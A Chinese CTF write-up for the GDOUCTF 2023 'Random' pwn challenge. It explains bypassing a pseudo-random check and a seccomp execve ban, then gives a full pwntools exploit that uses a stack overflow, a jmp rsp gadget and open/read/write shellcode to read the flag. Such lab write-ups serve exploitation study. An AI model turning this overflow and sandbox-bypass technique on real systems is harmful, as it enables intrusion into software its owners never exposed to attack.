【GDOUCTF 2023】Random
收获
伪随机数结合沙箱保护,使用
ORW
绕过沙箱栈上空间不够写入,使用
jmp rsp
劫持返回地址
(2023年4月16日)【GDOUCTF 2023】Random
思路
分析程序:
用 IDA 分析:
这个题也用到了猜伪随机数,猜对之后进到 vulnerable()
函数:
由于 buf
在栈上的长度是 0x20,这里是可以溢出的
看看字符串里有没有什么可以利用的
好像并没有
寻找程序自定义的函数,发现程序通过 sandbox()
函数开启了沙箱保护:
使用 prctl()
方式开启的沙箱
prctl(38, 1LL, 0LL, 0LL, 0LL)
中的 38 表示禁用系统调用prctl(22,2)
表示设置沙箱规则,从而可以实现改变函数的系统调用
沙箱保护一般都会限制
execve
的系统调用,例如one_gadget
和system
调用,使我们不能正常get shell
,只能通过ROP
的方式调用open()
、read()
、write()
的组合方式来获取 flag
使用 seccomp-tools
检查一下程序的沙箱机制
if (A != execve) goto 0005
即 return ALLOW
,所以程序禁用了 execve
,而 system()
需要通过 execve
来实现
自定义函数中还有一个 haha()
函数:
给出的是一个汇编指令 __asm { jmp rsp }
,可以跟进获得这条指令所在的地址:0x40094E
因此本题需要使用 ORW(O -- open,R -- read,W -- write)
来绕过沙箱
- 首先通过
ctypes
绕过伪随机数校验,跳转到vulnerable()
函数,但是这里不能通过溢出执行 shellcode 来提权,因为system()
被沙箱 Ban 了 - 由于栈上写入的长度不够,所以得分两次写
- 填充字符到
0x28
够到返回地址,用jmp rsp
劫持返回地址,让其继续向下运行 - 找到一个可读可写可执行的地址,用于将读取的 flag 存进去,我这里是
data_address = 0x601000
- 然后用
open()
打开 flag,read()
读取 flag,write()
写出 flag,构造 ORW
但是发现有时候远程的伪随机数打不通,应该是远程靶机的版本问题
也可以用爆破的方式绕过:
for i in range(100):
io.recvuntil("lease input a guess num:\n")
io.sendline("1")
return_str = io.recvline()
if b'guys' in return_str:
break
脚本
from pwn import *
from ctypes import * # 导入ctypes库使Python可以执行C语言的函数
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/真男人下120层/bin") # 程序在Linux的路径
else:
io = remote("node1.anna.nssctf.cn", 28391) # 题目的远程端口,注意是remote
def srand():
lib = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # C运行库
v3 = lib.time(0)
lib.srand(v3)
number = str(lib.rand() % 50) # 执行随机函数
io.recvuntil("please input a guess num:\n")
io.sendline(number)
srand() # 绕过伪随机数
jmp_rsp = 0x40094E
data_address = 0x601000 # 用vmmap找到一个可读可写的段
payload = asm(shellcraft.read(0, data_address, 0x100)) # 调用read函数,在data_address 0x601000处写入ORW内容
payload += asm('mov rax,0x601000; call rax') # call ax寄存器,调用执行data_address 0x601000处的ORW
payload = payload.ljust(0x28, b'a') + p64(jmp_rsp) # 溢出到buf栈的返回地址,并将返回地址改成jmp_rsp,继续运行当前rsp后续指令,填写别的返回地址就无法控制程序后面的执行流程了
payload += asm('sub rsp,0x30; jmp rsp') # 此时rsp已经离ORW地址偏移0x30,这里把sp挪回到ORW地址并跳转到ORW
io.recvuntil("your door\n")
io.sendline(payload)
ORW = asm(shellcraft.open('./flag')) # 打开本地的flag文件
ORW += asm(shellcraft.read(3, data_address + 0x100, 0x50)) # 文件描述符3:其它打开的文件,将flag内容写入到data_address + 0x100地址处
ORW += asm(shellcraft.write(1, data_address + 0x100, 0x50)) # 文件描述符1:输出到屏幕,输出地址data_address + 0x100处存储的flag内容
io.sendline(ORW)
io.interactive() # 接收回显
结果
NSSCTF{6a3fa38d-f0fe-4d23-960e-b40c015409fc}
评论